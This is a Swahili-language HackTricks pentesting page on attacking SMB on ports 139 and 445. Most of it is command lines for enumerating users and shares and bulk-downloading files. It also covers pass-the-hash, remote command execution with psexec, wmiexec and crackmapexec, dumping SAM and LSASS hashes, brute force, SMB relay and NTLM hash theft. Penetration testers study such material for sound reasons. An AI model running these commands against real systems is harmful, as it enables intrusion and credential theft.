Swahili - Ht
HackTricks Training Twitter Linkedin Sponsor

139,445 - Pentesting SMB

Support HackTricks

Port 139

Network Basic Input Output System** (NetBIOS)** ni protokali ya programu iliyoundwa kuwezesha programu, PCs, na Desktops ndani ya mtandao wa eneo la ndani (LAN) kuingiliana na vifaa vya mtandao na kuwezesha uhamasishaji wa data kupitia mtandao. Utambuzi na eneo la programu za programu zinazofanya kazi kwenye mtandao wa NetBIOS unafanywa kupitia majina yao ya NetBIOS, ambayo yanaweza kuwa na urefu wa hadi herufi 16 na mara nyingi ni tofauti na jina la kompyuta. Kikao cha NetBIOS kati ya programu mbili kinaanzishwa wakati programu moja (inayofanya kazi kama mteja) inatoa amri ya "kuita" programu nyingine (inayofanya kazi kama seva) ikitumia TCP Port 139.

139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn

Port 445

Kitaalamu, Port 139 inajulikana kama ‘NBT over IP’, wakati Port 445 inatambulika kama ‘SMB over IP’. Kifupi SMB kinamaanisha ‘Server Message Blocks’, ambacho pia kinajulikana kisasa kama Common Internet File System (CIFS). Kama itifaki ya mtandao ya kiwango cha programu, SMB/CIFS inatumika hasa kuwezesha ufikiaji wa pamoja wa faili, printers, serial ports, na kuwezesha aina mbalimbali za mawasiliano kati ya nodi kwenye mtandao.

Kwa mfano, katika muktadha wa Windows, inasisitizwa kwamba SMB inaweza kufanya kazi moja kwa moja juu ya TCP/IP, ikiondoa hitaji la NetBIOS juu ya TCP/IP, kupitia matumizi ya port 445. Kinyume chake, kwenye mifumo tofauti, matumizi ya port 139 yanaonekana, ikionyesha kwamba SMB inatekelezwa pamoja na NetBIOS juu ya TCP/IP.

445/tcp   open  microsoft-ds  Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)

SMB

Protokali ya Server Message Block (SMB), inayofanya kazi katika mfano wa mteja-server, imeundwa kwa ajili ya kudhibiti ufikiaji wa faili, saraka, na rasilimali nyingine za mtandao kama vile printers na routers. Kimsingi inatumika ndani ya mfululizo wa mfumo wa uendeshaji wa Windows, SMB inahakikisha ufanisi wa nyuma, ikiruhusu vifaa vyenye toleo jipya la mfumo wa uendeshaji wa Microsoft kuingiliana kwa urahisi na vile vinavyotumia toleo la zamani. Aidha, mradi wa Samba unatoa suluhisho la programu ya bure, linalowezesha utekelezaji wa SMB kwenye mifumo ya Linux na Unix, hivyo kurahisisha mawasiliano kati ya majukwaa kupitia SMB.

Hisa, zinazowakilisha sehemu za nasibu za mfumo wa faili wa ndani, zinaweza kutolewa na seva ya SMB, na kufanya hiyerarhii ionekane kwa mteja kwa sehemu huru kutoka kwa muundo halisi wa seva. Access Control Lists (ACLs), ambazo zinafafanua haki za ufikiaji, zinaruhusu udhibiti wa kina juu ya ruhusa za watumiaji, ikiwa ni pamoja na sifa kama execute, read, na full access. Ruhusa hizi zinaweza kutolewa kwa watumiaji binafsi au vikundi, kulingana na hisa, na ni tofauti na ruhusa za ndani zilizowekwa kwenye seva.

IPC$ Share

Ufikiaji wa hisa ya IPC$ unaweza kupatikana kupitia kikao cha kutokujulikana, ikiruhusu mwingiliano na huduma zinazofichuliwa kupitia mabomba yaliyopewa majina. Kifaa enum4linux ni muhimu kwa kusudi hili. Ikitumika ipasavyo, inaruhusu kupata:

  • Taarifa kuhusu mfumo wa uendeshaji

  • Maelezo kuhusu domain ya mzazi

  • Mkusanyiko wa watumiaji na vikundi vya ndani

  • Taarifa kuhusu hisa za SMB zinazopatikana

  • Sera ya usalama wa mfumo inayofanya kazi

Funguo hii ni muhimu kwa wasimamizi wa mtandao na wataalamu wa usalama kutathmini hali ya usalama ya huduma za SMB (Server Message Block) kwenye mtandao. enum4linux inatoa mtazamo mpana wa mazingira ya SMB ya mfumo lengwa, ambayo ni muhimu kwa kutambua udhaifu wa uwezekano na kuhakikisha kwamba huduma za SMB zimeimarishwa ipasavyo.

enum4linux -a target_ip

The above command is an example of how enum4linux might be used to perform a full enumeration against a target specified by target_ip.

Nini NTLM

Ikiwa hujui nini NTLM au unataka kujua jinsi inavyofanya kazi na jinsi ya kuitumia vibaya, utapata kuwa na kuvutia sana ukurasa huu kuhusu NTLM ambapo inaelezwa jinsi protokali hii inavyofanya kazi na jinsi unavyoweza kuitumia:

NTLM

Uainishaji wa Server

Scan mtandao ukitafuta mwenyeji:

nbtscan -r 192.168.0.1/24

SMB server version

Ili kutafuta uwezekano wa kutumia udhaifu katika toleo la SMB, ni muhimu kujua ni toleo gani linatumika. Ikiwa taarifa hii haionekani katika zana nyingine zinazotumika, unaweza:

  • Tumia moduli ya MSF ya ziada _auxiliary/scanner/smb/smb_version

  • Au skripti hii:

#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1

Tafuta exploit

msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb

Mikopo Inayowezekana

Jina la mtumiaji

Nywila za kawaida

(bila)

(bila)

mgeni

(bila)

Msimamizi, admin

(bila), nywila, msimamizi, admin

arcserve

arcserve, backup

tivoli, tmersrvd

tivoli, tmersrvd, admin

backupexec, backup

backupexec, backup, arcada

jaribio, maabara, onyesho

nywila, jaribio, maabara, onyesho

Nguvu ya Brute

Taarifa za Mazingira ya SMB

Pata Taarifa

#Dump interesting information
enum4linux -a [-u "<username>" -p "<passwd>"] <IP>
enum4linux-ng -A [-u "<username>" -p "<passwd>"] <IP>
nmap --script "safe or smb-enum-*" -p 445 <IP>

#Connect to the rpc
rpcclient -U "" -N <IP> #No creds
rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbffb  --pw-nt-hash
rpcclient -U "username%passwd" <IP> #With creds
#You can use querydispinfo and enumdomusers to query user information

#Dump user information
/usr/share/doc/python3-impacket/examples/samrdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/samrdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

#Map possible RPC endpoints
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 135 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 139 [[domain/]username[:password]@]<targetName or address>
/usr/share/doc/python3-impacket/examples/rpcdump.py -port 445 [[domain/]username[:password]@]<targetName or address>

Orodhesha Watumiaji, Vikundi & Watumiaji Walioingia

Taarifa hii inapaswa kuwa tayari imekusanywa kutoka enum4linux na enum4linux-ng

crackmapexec smb 10.10.10.10 --users [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups [-u <username> -p <password>]
crackmapexec smb 10.10.10.10 --groups --loggedon-users [-u <username> -p <password>]

ldapsearch -x -b "DC=DOMAIN_NAME,DC=LOCAL" -s sub "(&(objectclass=user))" -h 10.10.10.10 | grep -i samaccountname: | cut -f 2 -d " "

rpcclient -U "" -N 10.10.10.10
enumdomusers
enumdomgroups

Orodhesha watumiaji wa ndani

Impacket

lookupsid.py -no-pass hostname.local

Oneliner

for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done

Metasploit - Kuorodhesha watumiaji wa ndani

use auxiliary/scanner/smb/smb_lookupsid
set rhosts hostname.local
run

Kuhesabu LSARPC na SAMR rpcclient

rpcclient enumeration

Muunganisho wa GUI kutoka linux

Katika terminali:

xdg-open smb://cascade.htb/

Katika dirisha la kivinjari cha faili (nautilus, thunar, nk)

smb://friendzone.htb/general/

Kuhesabu Folda Zilizoshirikiwa

Orodha ya folda zilizoshirikiwa

Kila wakati inashauriwa kuangalia kama unaweza kufikia chochote, ikiwa huna akidi jaribu kutumia null credentials/mtembezi wa wageni.

smbclient --no-pass -L //<IP> # Null user
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash

smbmap -H <IP> [-P <PORT>] #Null user
smbmap -u "username" -p "password" -H <IP> [-P <PORT>] #Creds
smbmap -u "username" -p "<NT>:<LM>" -H <IP> [-P <PORT>] #Pass-the-Hash
smbmap -R -u "username" -p "password" -H <IP> [-P <PORT>] #Recursive list

crackmapexec smb <IP> -u '' -p '' --shares #Null user
crackmapexec smb <IP> -u 'username' -p 'password' --shares #Guest user
crackmapexec smb <IP> -u 'username' -H '<HASH>' --shares #Guest user

Unganisha/Orodhesha folda iliyoshirikiwa

#Connect using smbclient
smbclient --no-pass //<IP>/<Folder>
smbclient -U 'username[%passwd]' -L [--pw-nt-hash] //<IP> #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash
#Use --no-pass -c 'recurse;ls'  to list recursively with smbclient

#List with smbmap, without folder it list everything
smbmap [-u "username" -p "password"] -R [Folder] -H <IP> [-P <PORT>] # Recursive list
smbmap [-u "username" -p "password"] -r [Folder] -H <IP> [-P <PORT>] # Non-Recursive list
smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-the-Hash

Kuhesabu kwa mikono sehemu za windows na kuungana nazo

Inaweza kuwa inawezekana kwamba umepungukiwa kuonyesha sehemu zozote za mashine ya mwenyeji na unapojaribu kuorodhesha zinaonekana kana kwamba hakuna sehemu za kuungana nazo. Hivyo inaweza kuwa na maana kujaribu kuungana kwa mikono na sehemu. Ili kuhesabu sehemu hizo kwa mikono unaweza kutaka kutafuta majibu kama NT_STATUS_ACCESS_DENIED na NT_STATUS_BAD_NETWORK_NAME, unapokuwa unatumia kikao halali (mfano, kikao kisicho na kitu au akidi halali). Haya yanaweza kuashiria ikiwa sehemu hiyo ipo na huna ufikiaji wake au sehemu hiyo haipo kabisa.

Majina ya kawaida ya sehemu kwa malengo ya windows ni

  • C$

  • D$

  • ADMIN$

  • IPC$

  • PRINT$

  • FAX$

  • SYSVOL

  • NETLOGON

(Majina ya kawaida ya sehemu kutoka Network Security Assessment 3rd edition)

Unaweza kujaribu kuungana nazo kwa kutumia amri ifuatayo

smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)

au kwa hii script (ikitumia kikao kisicho na thamani)

#/bin/bash

ip='<TARGET-IP-HERE>'
shares=('C$' 'D$' 'ADMIN$' 'IPC$' 'PRINT$' 'FAX$' 'SYSVOL' 'NETLOGON')

for share in ${shares[*]}; do
output=$(smbclient -U '%' -N \\\\$ip\\$share -c '')

if [[ -z $output ]]; then
echo "[+] creating a null session is possible for $share" # no output if command goes through, thus assuming that a session was created
else
echo $output # echo error message (e.g. NT_STATUS_ACCESS_DENIED or NT_STATUS_BAD_NETWORK_NAME)
fi
done

mfano

smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME
smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session

Kagua hisa kutoka Windows / bila zana za upande wa tatu

PowerShell

# Retrieves the SMB shares on the locale computer.
Get-SmbShare
Get-WmiObject -Class Win32_Share
# Retrieves the SMB shares on a remote computer.
get-smbshare -CimSession "<computer name or session object>"
# Retrieves the connections established from the local SMB client to the SMB servers.
Get-SmbConnection

CMD console

# List shares on the local computer
net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all

MMC Snap-in (grafiki)

# Shared Folders: Shared Folders > Shares
fsmgmt.msc
# Computer Management: Computer Management > System Tools > Shared Folders > Shares
compmgmt.msc

explorer.exe (grafiki), ingiza \\<ip>\ kuona sehemu zisizofichwa zinazopatikana.

Mount a shared folder

mount -t cifs //x.x.x.x/share /mnt/share
mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share

Pakua faili

Soma sehemu za awali kujifunza jinsi ya kuungana na akidi/Pass-the-Hash.

#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
#Download all
smbclient //<IP>/<share>
> mask ""
> recurse
> prompt
> mget *
#Download everything to current directory

Commands:

  • mask: inabainisha mask ambayo inatumika kuchuja faili ndani ya saraka (e.g. "" kwa faili zote)

  • recurse: inabadilisha recursion kuwa juu (default: off)

  • prompt: inabadilisha kuomba majina ya faili kuwa mbali (default: on)

  • mget: inakopi faili zote zinazolingana na mask kutoka mwenyeji hadi mashine ya mteja

(Information from the manpage of smbclient)

Domain Shared Folders Search

Snaffler.exe -s -d domain.local -o snaffler.log -v data

  • CrackMapExec kupeleleza.

  • -M spider_plus [--share <share_name>]

  • --pattern txt

sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares'

Specially interesting from shares are the files called Registry.xml as they may contain passwords for users configured with autologon via Group Policy. Or web.config files as they contains credentials.

The SYSVOL share is readable by all authenticated users in the domain. In there you may find many different batch, VBScript, and PowerShell scripts. You should check the scripts inside of it as you might find sensitive info such as passwords.

Soma Registry

You may be able to read the registry using some discovered credentials. Impacket reg.py allows you to try:

sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s
sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKLM -s

Post Exploitation

The default config of a Samba server is usually located in /etc/samba/smb.conf and might have some dangerous configs:

Setting

Description

browseable = yes

Ruhusu orodha ya sehemu zinazopatikana katika sehemu ya sasa?

read only = no

Kataza uundaji na mabadiliko ya faili?

writable = yes

Ruhusu watumiaji kuunda na kubadilisha faili?

guest ok = yes

Ruhusu kuungana na huduma bila kutumia nenosiri?

enable privileges = yes

Heshimu mamlaka zilizotolewa kwa SID maalum?

create mask = 0777

Ni ruhusa gani zinapaswa kutolewa kwa faili mpya zilizoundwa?

directory mask = 0777

Ni ruhusa gani zinapaswa kutolewa kwa directories mpya zilizoundwa?

logon script = script.sh

Ni script gani inapaswa kutekelezwa wakati wa kuingia kwa mtumiaji?

magic script = script.sh

Ni script ipi inapaswa kutekelezwa script inapofungwa?

magic output = script.out

Wapi matokeo ya script ya kichawi yanapaswa kuhifadhiwa?

The command smbstatus gives information about the server and about who is connected.

Authenticate using Kerberos

You can authenticate to kerberos using the tools smbclient and rpcclient:

smbclient --kerberos //ws01win10.domain.com/C$
rpcclient -k ws01win10.domain.com

Execute Commands

crackmapexec

crackmapexec inaweza kutekeleza amri kwa kutumia yoyote ya mmcexec, smbexec, atexec, wmiexec ambapo wmiexec ndiyo njia ya kawaida. Unaweza kuashiria chaguo unalopendelea kutumia kwa kutumia parameta --exec-method:

apt-get install crackmapexec

crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -X '$PSVersionTable' #Execute Powershell
crackmapexec smb 192.168.10.11 -u Administrator -p 'P@ssw0rd' -x whoami #Excute cmd
crackmapexec smb 192.168.10.11 -u Administrator -H <NTHASH> -x whoami #Pass-the-Hash
# Using --exec-method {mmcexec,smbexec,atexec,wmiexec}

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sam #Dump SAM
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --lsa #Dump LSASS in memmory hashes
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --sessions #Get sessions (
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --loggedon-users #Get logged-on users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --disks #Enumerate the disks
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --users #Enumerate users
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --groups # Enumerate groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --local-groups # Enumerate local groups
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --pass-pol #Get password policy
crackmapexec smb <IP> -d <DOMAIN> -u Administrator -p 'password' --rid-brute #RID brute

crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash

psexec/smbexec

Chaguo zote mbili zita unda huduma mpya (kwa kutumia \pipe\svcctl kupitia SMB) kwenye mashine ya mwathirika na kuitumia kutekeleza kitu (psexec it pakia faili la executable kwenye ADMIN$ share na smbexec itaanika cmd.exe/powershell.exe na kuweka katika hoja payload --file-less technique--). Maelezo zaidi kuhusu psexec na smbexec. Katika kali iko kwenye /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./psexec.py [[domain/]username[:password]@]<targetName or address>
./psexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
psexec \\192.168.122.66 -u Administrator -p 123456Ww
psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass the hash

Using parameter-k you can authenticate against kerberos instead of NTLM

wmiexec/dcomexec

Kufanya kazi kwa siri shell ya amri bila kugusa diski au kuendesha huduma mpya kwa kutumia DCOM kupitia port 135. Katika kali inapatikana kwenye /usr/share/doc/python3-impacket/examples/

#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password
./wmiexec.py -hashes LM:NT administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

Kutumia parameter-k unaweza kujiandikisha dhidi ya kerberos badala ya NTLM

#If no password is provided, it will be prompted
./dcomexec.py [[domain/]username[:password]@]<targetName or address>
./dcomexec.py -hashes <LM:NT> administrator@10.10.10.103 #Pass-the-Hash
#You can append to the end of the command a CMD command to be executed, if you dont do that a semi-interactive shell will be prompted

AtExec

Tekeleza amri kupitia Mipango ya Kazi (ukitumia \pipe\atsvc kupitia SMB). Katika kali iko kwenye /usr/share/doc/python3-impacket/examples/

./atexec.py [[domain/]username[:password]@]<targetName or address> "command"
./atexec.py -hashes <LM:NT> administrator@10.10.10.175 "whoami"

Impacket reference

https://www.hackingarticles.in/beginners-guide-to-impacket-tool-kit-part-1/

Bruteforce credentials za watumiaji

Hii haipendekezwi, unaweza kufunga akaunti ikiwa utaongeza majaribio yaliyoruhusiwa

nmap --script smb-brute -p 445 <IP>
ridenum.py <IP> 500 50000 /root/passwds.txt #Get usernames bruteforcing that rids and then try to bruteforce each user name

SMB relay attack

Shambulio hili linatumia zana ya Responder kukamata vikao vya uthibitishaji vya SMB kwenye mtandao wa ndani, na kupeleka vikao hivyo kwa mashine lengwa. Ikiwa kikao cha uthibitishaji kinafanikiwa, kitaweka moja kwa moja kwenye shelly ya sistimu. Taarifa zaidi kuhusu shambulio hili hapa.

SMB-Trap

Maktaba ya Windows URLMon.dll inajaribu moja kwa moja kuthibitisha kwa mwenyeji wakati ukurasa unajaribu kufikia maudhui fulani kupitia SMB, kwa mfano: img src="\\10.10.10.10\path\image.jpg"

Hii inatokea na kazi:

  • URLDownloadToFile

  • URLDownloadToCache

  • URLOpenStream

  • URLOpenBlockingStream

Ambazo zinatumika na baadhi ya vivinjari na zana (kama Skype)

SMBTrap using MitMf

NTLM Theft

Kama ilivyo kwa SMB Trapping, kupanda faili zenye madhara kwenye mfumo wa lengwa (kupitia SMB, kwa mfano) kunaweza kusababisha jaribio la uthibitishaji wa SMB, kuruhusu hash ya NetNTLMv2 kukamatwa kwa zana kama Responder. Hash hiyo inaweza kisha kufichuliwa nje ya mtandao au kutumika katika shambulio la SMB relay.

Angalia: ntlm_theft

HackTricks Automatic Commands

Protocol_Name: SMB    #Protocol Abbreviation if there is one.
Port_Number:  137,138,139     #Comma separated if there is more than one.
Protocol_Description: Server Message Block         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for SMB
Note: |
While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. SMB stands for ‘Server Message Blocks’. Server Message Block in modern language is also known as Common Internet File System. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network.

#These are the commands I run in order every time I see an open SMB port

With No Creds
nbtscan {IP}
smbmap -H {IP}
smbmap -H {IP} -u null -p null
smbmap -H {IP} -u guest
smbclient -N -L //{IP}
smbclient -N //{IP}/ --option="client min protocol"=LANMAN1
rpcclient {IP}
rpcclient -U "" {IP}
crackmapexec smb {IP}
crackmapexec smb {IP} --pass-pol -u "" -p ""
crackmapexec smb {IP} --pass-pol -u "guest" -p ""
GetADUsers.py -dc-ip {IP} "{Domain_Name}/" -all
GetNPUsers.py -dc-ip {IP} -request "{Domain_Name}/" -format hashcat
GetUserSPNs.py -dc-ip {IP} -request "{Domain_Name}/"
getArch.py -target {IP}

With Creds
smbmap -H {IP} -u {Username} -p {Password}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP}
smbclient "\\\\{IP}\\\" -U {Username} -W {Domain_Name} -l {IP} --pw-nt-hash `hash`
crackmapexec smb {IP} -u {Username} -p {Password} --shares
GetADUsers.py {Domain_Name}/{Username}:{Password} -all
GetNPUsers.py {Domain_Name}/{Username}:{Password} -request -format hashcat
GetUserSPNs.py {Domain_Name}/{Username}:{Password} -request

https://book.hacktricks.xyz/pentesting/pentesting-smb

Entry_2:
Name: Enum4Linux
Description: General SMB Scan
Command: enum4linux -a {IP}

Entry_3:
Name: Nmap SMB Scan 1
Description: SMB Vuln Scan With Nmap
Command: nmap -p 139,445 -vv -Pn --script=smb-vuln-cve2009-3103.nse,smb-vuln-ms06-025.nse,smb-vuln-ms07-029.nse,smb-vuln-ms08-067.nse,smb-vuln-ms10-054.nse,smb-vuln-ms10-061.nse,smb-vuln-ms17-010.nse {IP}

Entry_4:
Name: Nmap Smb Scan 2
Description: SMB Vuln Scan With Nmap (Less Specific)
Command: nmap --script 'smb-vuln*' -Pn -p 139,445 {IP}

Entry_5:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb

Entry_6:
Name: SMB/SMB2 139/445 consolesless mfs enumeration
Description: SMB/SMB2 139/445  enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 139; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb_version; set RHOSTS {IP}; set RPORT 445; run; exit' && msfconsole -q -x 'use auxiliary/scanner/smb/smb2; set RHOSTS {IP}; set RPORT 445; run; exit'
Support HackTricks
Previous137,138,139 - Pentesting NetBiosNextrpcclient enumeration

Last updated